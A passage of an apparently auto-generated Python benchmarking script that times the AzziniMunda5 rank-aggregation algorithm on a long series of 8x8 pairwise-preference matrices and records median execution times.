[1018,1043,996,1025,990,1017,0,969], [1071,995,1029,1010,1027,1038,1032,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 76, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1001,990,938,988,930,946,962], [1000,0,997,1003,1020,1014,1010,1008], [1011,1004,0,949,982,960,955,965], [1063,998,1052,0,1024,1016,1028,1021], [1013,981,1019,977,0,984,986,976], [1071,987,1041,985,1017,0,964,1009], [1055,991,1046,973,1015,1037,0,1006], [1039,993,1036,980,1025,992,995,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 77, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1023,1041,989,1029,968,1032,1053], [978,0,966,977,948,979,985,1012], [960,1035,0,1001,1049,1035,1038,1048], [1012,1024,1000,0,988,1030,997,1033], [972,1053,952,1013,0,1008,1003,1035], [1033,1022,966,971,993,0,1083,1047], [969,1016,963,1004,998,918,0,1000], [948,989,953,968,966,954,1001,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 78, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1016,1014,1040,978,1032,985,1003], [985,0,1001,1016,977,1009,962,978], [987,1000,0,1011,961,979,959,979], [961,985,990,0,917,985,1012,973], [1023,1024,1040,1084,0,1053,994,1029], [969,992,1022,1016,948,0,971,980], [1016,1039,1042,989,1007,1030,0,996], [998,1023,1022,1028,972,1021,1005,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 79, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1024,1028,1067,1041,1015,993,1047], [977,0,993,974,997,1009,1001,986], [973,1008,0,1026,1023,976,1035,978], [934,1027,975,0,1012,971,1021,973], [960,1004,978,989,0,995,982,954], [986,992,1025,1030,1006,0,986,933], [1008,1000,966,980,1019,1015,0,971], [954,1015,1023,1028,1047,1068,1030,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 80, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,993,971,984,970,960,999,985], [1008,0,964,985,987,1008,1010,985], [1030,1037,0,1020,985,1000,1061,1042], [1017,1016,981,0,1009,1018,1023,1000], [1031,1014,1016,992,0,996,1023,1028], [1041,993,1001,983,1005,0,1005,984], [1002,991,940,978,978,996,0,1018], [1016,1016,959,1001,973,1017,983,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 81, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,997,981,955,957,981,971,984], [1004,0,969,931,977,976,933,945], [1020,1032,0,952,986,1025,994,988], [1046,1070,1049,0,1013,1022,1029,986], [1044,1024,1015,988,0,1022,1018,1007], [1020,1025,976,979,979,0,1009,969], [1030,1068,1007,972,983,992,0,1005], [1017,1056,1013,1015,994,1032,996,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 82, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1025,1099,1050,1024,973,1042,1023], [976,0,992,982,1077,975,1050,1023], [902,1009,0,1028,911,1052,1004,967], [951,1019,973,0,927,1067,1003,925], [977,924,1090,1074,0,1077,1073,1006], [1028,1026,949,934,924,0,1023,979], [959,951,997,998,928,978,0,943], [978,978,1034,1076,995,1022,1058,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 83, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1303,1267,958,1000,1252,817,1056], [698,0,1040,954,1171,738,899,816], [734,961,0,775,1088,819,1047,794], [1043,1047,1226,0,1036,862,999,922], [1001,830,913,965,0,981,894,824], [749,1263,1182,1139,1020,0,1179,1350], [1184,1102,954,1002,1107,822,0,1136], [945,1185,1207,1079,1177,651,865,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 84, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1022,1025,990,1024,978,984,974], [979,0,981,983,991,955,976,963], [976,1020,0,992,995,960,1005,990], [1011,1018,1009,0,1002,993,1003,1006], [977,1010,1006,999,0,978,1005,967], [1023,1046,1041,1008,1023,0,1026,998], [1017,1025,996,998,996,975,0,991], [1027,1038,1011,995,1034,1003,1010,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 85, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1002,998,993,1024,1048,981,1036], [999,0,1005,965,1017,1001,998,1001], [1003,996,0,1001,1037,1013,1039,972], [1008,1036,1000,0,1055,1032,1036,1039], [977,984,964,946,0,992,1040,968], [953,1000,988,969,1009,0,1008,1014], [1020,1003,962,965,961,993,0,992], [965,1000,1029,962,1033,987,1009,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 86, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,903,895,890,870,976,964,965], [1098,0,1032,995,1083,1062,1070,1012], [1106,969,0,970,1023,982,1019,1103], [1111,1006,1031,0,976,1056,987,1041], [1131,918,978,1025,0,1003,998,1055], [1025,939,1019,945,998,0,1078,1061], [1037,931,982,1014,1003,923,0,1082], [1036,989,898,960,946,940,919,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 87, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,978,1008,965,1012,921,942,1028], [1023,0,1007,985,956,962,1004,1040], [993,994,0,1012,965,970,932,1005], [1036,1016,989,0,947,947,983,974], [989,1045,1036,1054,0,1030,1010,1049], [1080,1039,1031,1054,971,0,1012,1030], [1059,997,1069,1018,991,989,0,1061], [973,961,996,1027,952,971,940,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 88, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1030,944,935,1024,1004,1020,995], [971,0,942,925,933,959,1006,950], [1057,1059,0,1026,1005,971,1098,976], [1066,1076,975,0,1020,1034,1060,1009], [977,1068,996,981,0,1001,1019,1035], [997,1042,1030,967,1000,0,1041,1033], [981,995,903,941,982,960,0,1040], [1006,1051,1025,992,966,968,961,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 89, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,964,1005,980,1009,977,1019,970], [1037,0,1011,1001,1025,1036,963,1092], [996,990,0,935,1017,949,977,985], [1021,1000,1066,0,1090,1052,1083,1054], [992,976,984,911,0,942,985,1009], [1024,965,1052,949,1059,0,1038,983], [982,1038,1024,918,1016,963,0,1047], [1031,909,1016,947,992,1018,954,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 90, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1021,1014,998,994,1011,1013,1017], [980,0,991,988,984,975,994,1008], [987,1010,0,978,989,976,1006,996], [1003,1013,1023,0,962,976,989,971], [1007,1017,1012,1039,0,996,1023,1009], [990,1026,1025,1025,1005,0,1010,993], [988,1007,995,1012,978,991,0,963], [984,993,1005,1030,992,1008,1038,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 91, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,995,985,1003,1001,981,993,1002], [1006,0,1038,1004,1018,995,1041,1026], [1016,963,0,999,999,976,991,993], [998,997,1002,0,1024,987,1006,981], [1000,983,1002,977,0,976,1010,994], [1020,1006,1025,1014,1025,0,1039,999], [1008,960,1010,995,991,962,0,995], [999,975,1008,1020,1007,1002,1006,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 92, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1032,1028,1007,995,1059,1000,1050], [969,0,1000,954,999,1026,961,1026], [973,1001,0,973,981,1034,994,1016], [994,1047,1028,0,1017,1094,968,1018], [1006,1002,1020,984,0,1018,1008,991], [942,975,967,907,983,0,925,978], [1001,1040,1007,1033,993,1076,0,1039], [951,975,985,983,1010,1023,962,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 93, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,868,886,1024,869,783,900,915], [1133,0,996,1057,1061,1169,966,1090], [1115,1005,0,1077,1048,869,998,1004], [977,944,924,0,986,940,787,892], [1132,940,953,1015,0,920,940,986], [1218,832,1132,1061,1081,0,1020,1042], [1101,1035,1003,1214,1061,981,0,1090], [1086,911,997,1109,1015,959,911,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 94, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1005,1010,971,1020,998,993,997], [996,0,1024,1029,1035,1034,1044,998], [991,977,0,963,1015,937,1019,1009], [1030,972,1038,0,1048,998,1003,1039], [981,966,986,953,0,974,1001,985], [1003,967,1064,1003,1027,0,1016,1008], [1008,957,982,998,1000,985,0,1005], [1004,1003,992,962,1016,993,996,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 95, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1016,984,984,1064,1024,1028,1011], [985,0,958,1033,991,1020,979,938], [1017,1043,0,994,1029,1012,1060,1030], [1017,968,1007,0,1063,985,1018,970], [937,1010,972,938,0,922,972,915], [977,981,989,1016,1079,0,1023,978], [973,1022,941,983,1029,978,0,962], [990,1063,971,1031,1086,1023,1039,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 96, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,985,915,917,977,1037,955,980], [1016,0,1000,989,993,1073,980,1022], [1086,1001,0,1034,1011,1090,993,1059], [1084,1012,967,0,966,1100,1029,1036], [1024,1008,990,1035,0,1082,1007,1018], [964,928,911,901,919,0,961,929], [1046,1021,1008,972,994,1040,0,1019], [1021,979,942,965,983,1072,982,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 97, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1032,1007,987,968,1038,1066,1033], [969,0,1022,978,987,1005,1048,1012], [994,979,0,1011,1026,1047,1068,1029], [1014,1023,990,0,1011,1022,1051,1018], [1033,1014,975,990,0,1012,1054,1005], [963,996,954,979,989,0,1024,987], [935,953,933,950,947,977,0,962], [968,989,972,983,996,1014,1039,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 98, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1019,962,989,982,1021,1090,1030], [982,0,1044,1066,1047,995,1044,1048], [1039,957,0,1024,955,1046,1048,1022], [1012,935,977,0,966,996,1049,1044], [1019,954,1046,1035,0,939,1027,1049], [980,1006,955,1005,1062,0,978,1021], [911,957,953,952,974,1023,0,994], [971,953,979,957,952,980,1007,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 99, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1013,983,1004,1006,990,1026,989], [988,0,968,1019,1034,980,972,1001], [1018,1033,0,992,1020,958,1071,974], [997,982,1009,0,1071,967,970,1021], [995,967,981,930,0,943,1013,973], [1011,1021,1043,1034,1058,0,998,1012], [975,1029,930,1031,988,1003,0,959], [1012,1000,1027,980,1028,989,1042,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 100, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,987,1016,1040,1007,1049,1053,1033], [1014,0,968,988,998,1012,1037,1021], [985,1033,0,1020,1036,1034,1037,1027], [961,1013,981,0,1014,1024,1009,1028], [994,1003,965,987,0,983,996,1035], [952,989,967,977,1018,0,1027,1039], [948,964,964,992,1005,974,0,1023], [968,980,974,973,966,962,978,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 101, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1060,1099,1076,993,1011,981,1100], [941,0,957,1010,1094,1026,914,1063], [902,1044,0,968,930,974,961,974], [925,991,1033,0,1003,1111,1092,1019], [1008,907,1071,998,0,983,908,1058], [990,975,1027,890,1018,0,1006,863], [1020,1087,1040,909,1093,995,0,1028], [901,938,1027,982,943,1138,973,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 102, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1003,1035,986,997,1011,1002,1016], [998,0,1019,985,979,983,976,988], [966,982,0,951,951,977,959,996], [1015,1016,1050,0,1008,998,1012,999], [1004,1022,1050,993,0,1010,1010,1006], [990,1018,1024,1003,991,0,1010,1010], [999,1025,1042,989,991,991,0,984], [985,1013,1005,1002,995,991,1017,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 103, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1060,954,996,1177,1010,1128,1090], [941,0,1054,999,1160,938,963,1045], [1047,947,0,1031,1143,1058,1085,1071], [1005,1002,970,0,1070,961,1045,1078], [824,841,858,931,0,902,1019,970], [991,1063,943,1040,1099,0,1140,1061], [873,1038,916,956,982,861,0,978], [911,956,930,923,1031,940,1023,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 104, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1011,1037,998,1030,1014,1001,1024], [990,0,1004,967,1009,958,993,981], [964,997,0,976,1017,981,998,980], [1003,1034,1025,0,1000,982,1002,962], [971,992,984,1001,0,940,977,994], [987,1043,1020,1019,1061,0,1048,991], [1000,1008,1003,999,1024,953,0,985], [977,1020,1021,1039,1007,1010,1016,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 105, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,999,920,922,929,979,977,988], [1002,0,993,1005,990,1035,986,1026], [1081,1008,0,981,1057,1060,1013,1099], [1079,996,1020,0,1007,1024,1096,1058], [1072,1011,944,994,0,1060,1047,1057], [1022,966,941,977,941,0,991,1006], [1024,1015,988,905,954,1010,0,967], [1013,975,902,943,944,995,1034,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 106, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1010,992,994,967,980,1005,984], [991,0,963,988,973,978,978,1011], [1009,1038,0,1006,990,1004,996,1004], [1007,1013,995,0,1008,1000,1021,1009], [1034,1028,1011,993,0,987,1026,1004], [1021,1023,997,1001,1014,0,1011,1018], [996,1023,1005,980,975,990,0,970], [1017,990,997,992,997,983,1031,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 107, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,971,983,1030,982,946,993,997], [1030,0,1007,1054,999,1019,1024,1014], [1018,994,0,1035,1013,990,962,1038], [971,947,966,0,988,957,951,931], [1019,1002,988,1013,0,982,996,1022], [1055,982,1011,1044,1019,0,986,1028], [1008,977,1039,1050,1005,1015,0,1018], [1004,987,963,1070,979,973,983,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 108, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1016,956,987,978,998,950,977], [985,0,1013,1016,1002,956,962,999], [1045,988,0,1000,995,959,963,989], [1014,985,1001,0,981,1004,936,949], [1023,999,1006,1020,0,995,981,1021], [1003,1045,1042,997,1006,0,939,1016], [1051,1039,1038,1065,1020,1062,0,999], [1024,1002,1012,1052,980,985,1002,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 109, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,962,1013,974,1017,974,978,1005], [1039,0,1005,1027,1033,1010,994,1014], [988,996,0,1033,1029,1033,1019,1030], [1027,974,968,0,1027,1011,993,1033], [984,968,972,974,0,952,989,1011], [1027,991,968,990,1049,0,1016,1073], [1023,1007,982,1008,1012,985,0,1030], [996,987,971,968,990,928,971,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 110, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1001,1000,1025,1040,1089,1023,1020], [1000,0,994,1054,1014,1056,977,1004], [1001,1007,0,1004,982,1048,987,1017], [976,947,997,0,966,1010,993,947], [961,987,1019,1035,0,1053,992,1031], [912,945,953,991,948,0,975,964], [978,1024,1014,1008,1009,1026,0,1029], [981,997,984,1054,970,1037,972,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 111, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1023,997,1048,1020,960,1020,988], [978,0,1037,1028,1018,1003,990,975], [1004,964,0,1033,999,1015,1002,1013], [953,973,968,0,991,955,963,953], [981,983,1002,1010,0,1004,1002,1011], [1041,998,986,1046,997,0,1021,989], [981,1011,999,1038,999,980,0,999], [1013,1026,988,1048,990,1012,1002,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 112, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1001,1013,992,997,966,982,980], [1000,0,1003,1020,1003,992,995,989], [988,998,0,1008,989,982,987,988], [1009,981,993,0,975,990,999,973], [1004,998,1012,1026,0,1020,1007,1007], [1035,1009,1019,1011,981,0,997,1018], [1019,1006,1014,1002,994,1004,0,977], [1021,1012,1013,1028,994,983,1024,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 113, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,992,937,991,997,928,920,946], [1009,0,1026,1001,1014,980,966,1017], [1064,975,0,1017,1037,978,1010,997], [1010,1000,984,0,1037,997,929,957], [1004,987,964,964,0,975,930,939], [1073,1021,1023,1004,1026,0,965,1031], [1081,1035,991,1072,1071,1036,0,979], [1055,984,1004,1044,1062,970,1022,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 114, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,982,1004,988,983,1045,936,956], [1019,0,1016,1025,999,1050,968,997], [997,985,0,988,964,1028,1019,1025], [1013,976,1013,0,1012,1059,932,932], [1018,1002,1037,989,0,1090,992,997], [956,951,973,942,911,0,883,954], [1065,1033,982,1069,1009,1118,0,1039], [1045,1004,976,1069,1004,1047,962,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 115, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ 